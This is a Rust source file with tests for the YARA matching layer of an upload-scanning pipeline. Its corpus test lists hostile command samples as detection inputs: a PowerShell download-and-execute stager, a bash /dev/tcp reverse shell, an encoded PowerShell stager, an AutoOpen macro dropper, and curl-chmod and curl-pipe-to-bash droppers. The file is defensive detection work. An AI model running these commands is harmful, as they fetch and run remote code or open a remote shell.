Skip to main content

max / makenotwork

20.9 KB · 604 lines History Blame Raw
1 //! Layer 4: YARA rule matching via yara-x.
2 //!
3 //! Rules are compiled once at startup from all `.yar` files in the configured
4 //! rules directory. The compiled rules are stored in ScanPipeline and reused.
5
6 use std::path::Path;
7 use std::time::Duration;
8
9 use super::{ErrorPolicy, LayerResult, LayerVerdict};
10
11 /// In-process deterministic layer. A YARA scan error (timeout, rule
12 /// compilation failure at scan time) is structurally suspicious, fail closed.
13 pub const ERROR_POLICY: ErrorPolicy = ErrorPolicy::FailClosed;
14
15 /// Maximum time for a single YARA scan before it is aborted.
16 const YARA_SCAN_TIMEOUT: Duration = Duration::from_secs(30);
17
18 /// Compile every `.yar`/`.yara` file under `dir`. Returns the compiled `Rules`
19 /// (or `None` when the directory is absent / empty) alongside the count of rule
20 /// files that compiled successfully, the caller uses that count to enforce an
21 /// optional health floor (see `ScanPipeline::assert_live`).
22 ///
23 /// **Call this exactly once per process.** `yara_x::Compiler::new()` stands up a
24 /// wasmtime `Engine`, and the single live engine is what makes RUSTSEC-2026-0222
25 /// ("stores can mix up type indices between engines", unfixed on the wasmtime 43
26 /// line that yara-x 1.19 pins) inapplicable to us — the bug needs two engines to
27 /// confuse, and there is only ever one. That reasoning is written down as the
28 /// justification for ignoring the advisory in `.cargo/audit.toml` and
29 /// `deny.toml`, so a second production call site does not just add overhead: it
30 /// invalidates a documented security posture and the ignore has to be re-argued.
31 /// Today the only caller is `ScanEngine` construction (`scanning/mod.rs`);
32 /// everything else is under `#[cfg(test)]`.
33 pub fn compile_rules_from_dir(dir: &str) -> Result<(Option<yara_x::Rules>, usize), String> {
34 let path = Path::new(dir);
35 if !path.exists() {
36 tracing::info!(dir = %dir, "YARA rules directory not found, skipping");
37 return Ok((None, 0));
38 }
39
40 let mut compiler = yara_x::Compiler::new();
41 let mut rule_count = 0;
42 let mut skipped_count = 0;
43
44 let entries =
45 std::fs::read_dir(path).map_err(|e| format!("Failed to read YARA rules directory: {e}"))?;
46
47 for entry in entries {
48 let entry = entry.map_err(|e| format!("Failed to read directory entry: {e}"))?;
49 let file_path = entry.path();
50
51 if file_path
52 .extension()
53 .is_some_and(|ext| ext == "yar" || ext == "yara")
54 {
55 let source = match std::fs::read_to_string(&file_path) {
56 Ok(s) => s,
57 Err(e) => {
58 tracing::warn!(file = %file_path.display(), error = %e, "skipping unreadable YARA rule file");
59 skipped_count += 1;
60 continue;
61 }
62 };
63
64 // Per-file fail-open. Third-party rule corpora (e.g. Florian Roth's
65 // signature-base) include rules that exercise built-in identifiers
66 // (`filename`, `filepath`, `extension`, ...) which yara-x's pure-Rust
67 // engine does not yet implement. A single such rule must not take
68 // down the whole scanner, skip the file and log the rule path so
69 // operators can audit coverage gaps.
70 match compiler.add_source(source.as_str()) {
71 Ok(_) => {
72 rule_count += 1;
73 tracing::debug!(file = %file_path.display(), "Loaded YARA rule file");
74 }
75 Err(e) => {
76 tracing::warn!(
77 file = %file_path.display(),
78 error = %e,
79 "skipping YARA rule file that yara-x cannot compile"
80 );
81 skipped_count += 1;
82 }
83 }
84 }
85 }
86
87 if skipped_count > 0 {
88 // WARN, not INFO: a skipped rule file is a silent coverage gap. yara-x's
89 // pure-Rust engine rejects rules that use built-ins it doesn't implement
90 // (`filename`, `filepath`, `extension`, ...), so an operator dropping a
91 // third-party corpus in needs this surfaced to know what didn't load.
92 // YARA is supplementary here; ClamAV (full-file, streamed) is the
93 // signature backstop, so a gap degrades depth, not the floor.
94 tracing::warn!(
95 skipped_count,
96 "YARA rule files skipped (unsupported features); coverage reduced, ClamAV remains the backstop"
97 );
98 }
99
100 if rule_count == 0 {
101 tracing::info!(dir = %dir, "No YARA rule files found");
102 return Ok((None, 0));
103 }
104
105 let rules = compiler.build();
106
107 tracing::info!(rule_count, skipped_count, dir = %dir, "YARA rules compiled");
108 Ok((Some(rules), rule_count))
109 }
110
111 /// Scan file data against compiled YARA rules.
112 pub fn scan_with_yara(rules: &yara_x::Rules, data: &[u8]) -> LayerResult {
113 let mut scanner = yara_x::Scanner::new(rules);
114 scanner.set_timeout(YARA_SCAN_TIMEOUT);
115
116 let scan_results = match scanner.scan(data) {
117 Ok(results) => results,
118 Err(e) => {
119 return LayerResult {
120 layer: "yara",
121 verdict: LayerVerdict::Error,
122 detail: Some(format!("YARA scan failed: {e}")),
123 };
124 }
125 };
126
127 let matching_rules: Vec<String> = scan_results
128 .matching_rules()
129 .map(|rule| {
130 let ns = rule.namespace();
131 let name = rule.identifier();
132 if ns == "default" {
133 name.to_string()
134 } else {
135 format!("{ns}:{name}")
136 }
137 })
138 .collect();
139
140 if matching_rules.is_empty() {
141 LayerResult {
142 layer: "yara",
143 verdict: LayerVerdict::Pass,
144 detail: None,
145 }
146 } else {
147 LayerResult {
148 layer: "yara",
149 verdict: LayerVerdict::Fail,
150 detail: Some(format!("Matched rules: {}", matching_rules.join(", "))),
151 }
152 }
153 }
154
155 /// Scan a spooled file against YARA rules. Reads the file into memory
156 /// (yara-x's `Scanner::scan` takes a byte slice).
157 ///
158 /// Test-only: the live scan path uses [`scan_with_yara`] on already-resident
159 /// bytes. Gated `#[cfg(test)]` so this uncapped `fs::read` cannot be reached off
160 /// the request path.
161 #[cfg(test)]
162 pub fn scan_with_yara_path(rules: &yara_x::Rules, path: &std::path::Path) -> LayerResult {
163 match std::fs::read(path) {
164 Ok(data) => scan_with_yara(rules, &data),
165 Err(e) => LayerResult {
166 layer: "yara",
167 verdict: LayerVerdict::Error,
168 detail: Some(format!("read spool {}: {e}", path.display())),
169 },
170 }
171 }
172
173 #[cfg(test)]
174 mod tests {
175 use super::*;
176
177 #[test]
178 fn no_rules_dir_returns_none() {
179 let result = compile_rules_from_dir("/nonexistent/path/to/rules");
180 assert!(result.is_ok());
181 assert!(result.unwrap().0.is_none());
182 }
183
184 #[test]
185 fn clean_data_passes() {
186 // Compile a simple test rule that looks for "MALWARE_SIGNATURE"
187 let mut compiler = yara_x::Compiler::new();
188 compiler
189 .add_source(
190 r#"
191 rule test_malware {
192 strings:
193 $sig = "MALWARE_SIGNATURE"
194 condition:
195 $sig
196 }
197 "#,
198 )
199 .unwrap();
200 let rules = compiler.build();
201
202 let result = scan_with_yara(&rules, b"this is clean data");
203 assert_eq!(result.verdict, LayerVerdict::Pass);
204 }
205
206 #[test]
207 fn malicious_data_fails() {
208 let mut compiler = yara_x::Compiler::new();
209 compiler
210 .add_source(
211 r#"
212 rule test_malware {
213 strings:
214 $sig = "MALWARE_SIGNATURE"
215 condition:
216 $sig
217 }
218 "#,
219 )
220 .unwrap();
221 let rules = compiler.build();
222
223 let result = scan_with_yara(&rules, b"contains MALWARE_SIGNATURE inside");
224 assert_eq!(result.verdict, LayerVerdict::Fail);
225 assert!(result.detail.unwrap().contains("test_malware"));
226 }
227
228 #[test]
229 fn path_entry_matches_buffered() {
230 let mut compiler = yara_x::Compiler::new();
231 compiler
232 .add_source(
233 r#"
234 rule test_malware {
235 strings:
236 $sig = "MALWARE_SIGNATURE"
237 condition:
238 $sig
239 }
240 "#,
241 )
242 .unwrap();
243 let rules = compiler.build();
244
245 for sample in [&b"clean bytes"[..], &b"hit MALWARE_SIGNATURE here"[..]] {
246 let buffered = scan_with_yara(&rules, sample);
247 let tmp = tempfile::NamedTempFile::new().unwrap();
248 std::fs::write(tmp.path(), sample).unwrap();
249 let path_based = scan_with_yara_path(&rules, tmp.path());
250 assert_eq!(buffered.verdict, path_based.verdict);
251 }
252 }
253
254 // ── Adversarial tests (test-fuzz) ──
255
256 #[test]
257 fn empty_data_passes() {
258 let mut compiler = yara_x::Compiler::new();
259 compiler
260 .add_source(
261 r#"
262 rule test_malware {
263 strings:
264 $sig = "MALWARE_SIGNATURE"
265 condition:
266 $sig
267 }
268 "#,
269 )
270 .unwrap();
271 let rules = compiler.build();
272
273 let result = scan_with_yara(&rules, b"");
274 assert_eq!(result.verdict, LayerVerdict::Pass);
275 }
276
277 #[test]
278 fn multiple_rules_all_reported() {
279 let mut compiler = yara_x::Compiler::new();
280 compiler
281 .add_source(
282 r#"
283 rule rule_alpha {
284 strings:
285 $a = "ALPHA"
286 condition:
287 $a
288 }
289 rule rule_beta {
290 strings:
291 $b = "BETA"
292 condition:
293 $b
294 }
295 "#,
296 )
297 .unwrap();
298 let rules = compiler.build();
299
300 let result = scan_with_yara(&rules, b"ALPHA and BETA are both here");
301 assert_eq!(result.verdict, LayerVerdict::Fail);
302 let detail = result.detail.unwrap();
303 assert!(
304 detail.contains("rule_alpha"),
305 "Missing rule_alpha in: {detail}"
306 );
307 assert!(
308 detail.contains("rule_beta"),
309 "Missing rule_beta in: {detail}"
310 );
311 }
312
313 #[test]
314 fn partial_match_does_not_trigger() {
315 let mut compiler = yara_x::Compiler::new();
316 compiler
317 .add_source(
318 r#"
319 rule test_exact {
320 strings:
321 $sig = "EXACT_MATCH"
322 condition:
323 $sig
324 }
325 "#,
326 )
327 .unwrap();
328 let rules = compiler.build();
329
330 // Partial overlap should not match
331 let result = scan_with_yara(&rules, b"EXACT_MATC");
332 assert_eq!(result.verdict, LayerVerdict::Pass);
333 }
334
335 #[test]
336 fn large_clean_data_passes() {
337 let mut compiler = yara_x::Compiler::new();
338 compiler
339 .add_source(
340 r#"
341 rule test_sig {
342 strings:
343 $sig = "DANGEROUS"
344 condition:
345 $sig
346 }
347 "#,
348 )
349 .unwrap();
350 let rules = compiler.build();
351
352 // 1MB of clean data
353 let data = vec![b'A'; 1_000_000];
354 let result = scan_with_yara(&rules, &data);
355 assert_eq!(result.verdict, LayerVerdict::Pass);
356 }
357
358 #[test]
359 fn signature_at_end_of_data() {
360 let mut compiler = yara_x::Compiler::new();
361 compiler
362 .add_source(
363 r#"
364 rule end_sig {
365 strings:
366 $sig = "TAIL"
367 condition:
368 $sig
369 }
370 "#,
371 )
372 .unwrap();
373 let rules = compiler.build();
374
375 let mut data = vec![b'X'; 10000];
376 data.extend_from_slice(b"TAIL");
377 let result = scan_with_yara(&rules, &data);
378 assert_eq!(result.verdict, LayerVerdict::Fail);
379 assert!(result.detail.unwrap().contains("end_sig"));
380 }
381
382 #[test]
383 fn compile_rules_from_real_temp_dir() {
384 let dir = tempfile::tempdir().unwrap();
385
386 // Write a valid YARA rule file
387 std::fs::write(
388 dir.path().join("test.yar"),
389 r#"
390 rule hello_world {
391 strings:
392 $hw = "Hello, World!"
393 condition:
394 $hw
395 }
396 "#,
397 )
398 .unwrap();
399
400 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
401 assert!(result.is_ok());
402 let (rules, count) = result.unwrap();
403 assert!(rules.is_some(), "Should have compiled one rule");
404 assert_eq!(count, 1, "exactly one rule file compiled");
405
406 // Verify the rules work
407 let rules = rules.unwrap();
408 let scan = scan_with_yara(&rules, b"Hello, World!");
409 assert_eq!(scan.verdict, LayerVerdict::Fail);
410 assert!(scan.detail.unwrap().contains("hello_world"));
411 }
412
413 #[test]
414 fn empty_dir_returns_none() {
415 let dir = tempfile::tempdir().unwrap();
416 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
417 assert!(result.is_ok());
418 assert!(result.unwrap().0.is_none());
419 }
420
421 #[test]
422 fn non_yar_files_ignored() {
423 let dir = tempfile::tempdir().unwrap();
424 std::fs::write(dir.path().join("readme.txt"), "not a rule").unwrap();
425 std::fs::write(dir.path().join("rules.json"), "{}").unwrap();
426
427 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
428 assert!(result.is_ok());
429 assert!(result.unwrap().0.is_none());
430 }
431
432 #[test]
433 fn invalid_yara_rule_is_skipped_not_fatal() {
434 // Per-file fail-open: a single uncompilable rule (e.g. one using a
435 // yara-x-unsupported built-in identifier from a third-party corpus)
436 // must not abort the entire scanner. The file is logged and skipped.
437 let dir = tempfile::tempdir().unwrap();
438 std::fs::write(dir.path().join("bad.yar"), "this is not valid YARA syntax").unwrap();
439
440 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
441 assert!(result.is_ok(), "skipped-on-error, not aborted");
442 // No valid rules in the dir, so the function returns Ok(None), the
443 // pipeline interprets None as "yara not configured" → Skip verdict.
444 assert!(result.unwrap().0.is_none());
445 }
446
447 #[test]
448 fn mixed_valid_and_invalid_rules_keeps_valid() {
449 let dir = tempfile::tempdir().unwrap();
450 std::fs::write(
451 dir.path().join("good.yar"),
452 r#"rule clean_test { strings: $s = "marker" condition: $s }"#,
453 )
454 .unwrap();
455 std::fs::write(dir.path().join("bad.yar"), "not yara at all").unwrap();
456
457 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
458 assert!(result.is_ok());
459 let (rules, count) = result.unwrap();
460 assert!(
461 rules.is_some(),
462 "valid rules still compile when bad files are present"
463 );
464 assert_eq!(
465 count, 1,
466 "the one valid file compiled; the bad one was skipped"
467 );
468 }
469
470 /// The bundled `server/yara-rules/` corpus must compile, its file count must
471 /// match `DEFAULT_YARA_MIN_RULE_FILES` (so adding/removing a rule file forces
472 /// updating the floor constant, drift guard), and each shipped rule must
473 /// actually fire on a representative sample while clean creative content
474 /// passes. This is the regression net for SEC-S2: a silently-broken or
475 /// silently-shrunk corpus fails here at test time, and the boot floor catches
476 /// it in production.
477 #[test]
478 fn shipped_corpus_is_healthy() {
479 let dir = concat!(env!("CARGO_MANIFEST_DIR"), "/yara-rules");
480 let (rules, count) = compile_rules_from_dir(dir).expect("bundled corpus must compile");
481 let rules = rules.expect("bundled corpus must produce rules");
482 assert_eq!(
483 count,
484 crate::config::DEFAULT_YARA_MIN_RULE_FILES,
485 "bundled .yar file count drifted from DEFAULT_YARA_MIN_RULE_FILES, \
486 update the constant (and the boot floor it feeds)"
487 );
488
489 // EICAR test vector fires.
490 let eicar = br"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
491 assert_eq!(
492 scan_with_yara(&rules, eicar).verdict,
493 LayerVerdict::Fail,
494 "eicar must match"
495 );
496
497 // Script-downloader stager fires (two PowerShell tokens).
498 let downloader =
499 b"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://x/y')";
500 assert_eq!(
501 scan_with_yara(&rules, downloader).verdict,
502 LayerVerdict::Fail,
503 "downloader must match"
504 );
505
506 // Reverse-shell one-liner fires (bash /dev/tcp idiom).
507 let revshell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
508 assert_eq!(
509 scan_with_yara(&rules, revshell).verdict,
510 LayerVerdict::Fail,
511 "reverse shell must match"
512 );
513
514 // Encoded-PowerShell stager fires (powershell + encoded + exec primitive).
515 let enc_ps =
516 b"powershell -nop -w hidden -EncodedCommand JABjAD0... ; IEX (FromBase64String($x))";
517 assert_eq!(
518 scan_with_yara(&rules, enc_ps).verdict,
519 LayerVerdict::Fail,
520 "encoded powershell must match"
521 );
522
523 // Office macro dropper fires (autoexec + two exec primitives).
524 let macro_drop = b"Sub AutoOpen()\n Set o = CreateObject(\"WScript.Shell\")\nEnd Sub";
525 assert_eq!(
526 scan_with_yara(&rules, macro_drop).verdict,
527 LayerVerdict::Fail,
528 "macro dropper must match"
529 );
530
531 // Linux dropper fires (download + chmod +x + world-writable target).
532 let lin_drop = b"curl http://x/y -o /tmp/p && chmod +x /tmp/p && /tmp/p";
533 assert_eq!(
534 scan_with_yara(&rules, lin_drop).verdict,
535 LayerVerdict::Fail,
536 "linux dropper must match"
537 );
538
539 // Pipe-to-shell dropper fires.
540 let pipe_drop = b"curl -fsSL http://x/install | bash";
541 assert_eq!(
542 scan_with_yara(&rules, pipe_drop).verdict,
543 LayerVerdict::Fail,
544 "pipe-to-shell must match"
545 );
546
547 // Ordinary content with none of the idioms passes (false-positive guard).
548 let clean = b"a perfectly normal track description mentioning a shell on the beach";
549 assert_eq!(
550 scan_with_yara(&rules, clean).verdict,
551 LayerVerdict::Pass,
552 "clean content must pass"
553 );
554
555 // A benign install snippet that uses chmod alone (no download+temp combo)
556 // must not trip the Linux dropper rule.
557 let benign_chmod = b"After extracting, run chmod +x ./mytool to make it executable.";
558 assert_eq!(
559 scan_with_yara(&rules, benign_chmod).verdict,
560 LayerVerdict::Pass,
561 "lone chmod must not match"
562 );
563
564 // A document that merely mentions AutoOpen in prose must not match.
565 let benign_macro = b"This template defines an AutoOpen macro to set the cursor position.";
566 assert_eq!(
567 scan_with_yara(&rules, benign_macro).verdict,
568 LayerVerdict::Pass,
569 "macro prose must not match"
570 );
571 }
572
573 #[test]
574 fn default_namespace_rule_is_unprefixed() {
575 // Catches the L79 `==` → `!=` mutation. The function emits "rule" for
576 // default-namespace rules but "ns:rule" otherwise. Under the mutant the
577 // prefix logic inverts. Existing tests check `detail.contains("rule_x")`
578 // which is also true for "default:rule_x", so they don't catch the flip.
579 // Pin the exact format.
580 let mut compiler = yara_x::Compiler::new();
581 compiler
582 .add_source(
583 r#"
584 rule plain {
585 strings:
586 $a = "TARGET"
587 condition:
588 $a
589 }
590 "#,
591 )
592 .unwrap();
593 let rules = compiler.build();
594 let result = scan_with_yara(&rules, b"TARGET in data");
595 let detail = result.detail.unwrap();
596 // Default-namespace rule must appear unprefixed.
597 assert!(detail.contains("plain"), "missing rule name: {detail}");
598 assert!(
599 !detail.contains("default:"),
600 "default-namespace rules must not be prefixed; got {detail}"
601 );
602 }
603 }
604